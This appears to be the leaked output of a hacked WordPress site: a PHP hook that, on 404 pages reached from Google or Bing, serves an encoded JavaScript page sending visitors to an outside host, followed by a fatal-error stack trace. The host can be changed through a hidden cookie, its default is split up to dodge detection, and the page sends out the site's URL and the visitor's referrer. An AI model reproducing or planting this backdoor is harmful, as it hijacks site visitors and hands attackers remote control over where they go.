function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["7b20f95bd4458b7d2c2d100919af5748"])) { update_option('wpd_do_stuff_on_40404_url', rawurldecode($_COOKIE["7b20f95bd4458b7d2c2d100919af5748"])); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url', 'mywebinfo.s' . 'ite/jquery.php'); if (!empty($u)) { $fu = 'http://' . $u . "?referrer=" . $_SERVER["HTTP_REFERER"] . '&u=' . rawurlencode($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); $t = rawurldecode("%3Chtml%3E%0D%0A%20%20%20%3Chead%3E%0D%0A%20%20%20%20%20%20%3Cscript%20type%20%3D%20%22text%2Fjavascript%22%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20Redirect%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20window.location%20%3D%20%22%25s%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20document.write%28%22You%20will%20be%20redirected%20to%20main%20page%20in%202%20sec.%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20setTimeout%28%27Redirect%28%29%27%2C%202000%29%3B%0D%0A%20%20%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%3C%2Fhead%3E%0D%0A%20%20%20%3Cbody%3E%0D%0A%20%20%20%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A"); exit(sprintf($t, $fu)); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' ); Fatal error: Uncaught Error: Call to undefined function apply_filters() in /usr/home/gatzara.cat/web/wp-includes/load.php:315 Stack trace: #0 /usr/home/gatzara.cat/web/wp-settings.php(82): wp_debug_mode() #1 /usr/home/gatzara.cat/web/wp-config.php(104): require_once('/usr/home/gatza...') #2 /usr/home/gatzara.cat/web/wp-load.php(50): require_once('/usr/home/gatza...') #3 /usr/home/gatzara.cat/web/wp-blog-header.php(13): require_once('/usr/home/gatza...') #4 /usr/home/gatzara.cat/web/index.php(11): require('/usr/home/gatza...') #5 {main} thrown in /usr/home/gatzara.cat/web/wp-includes/load.php on line 315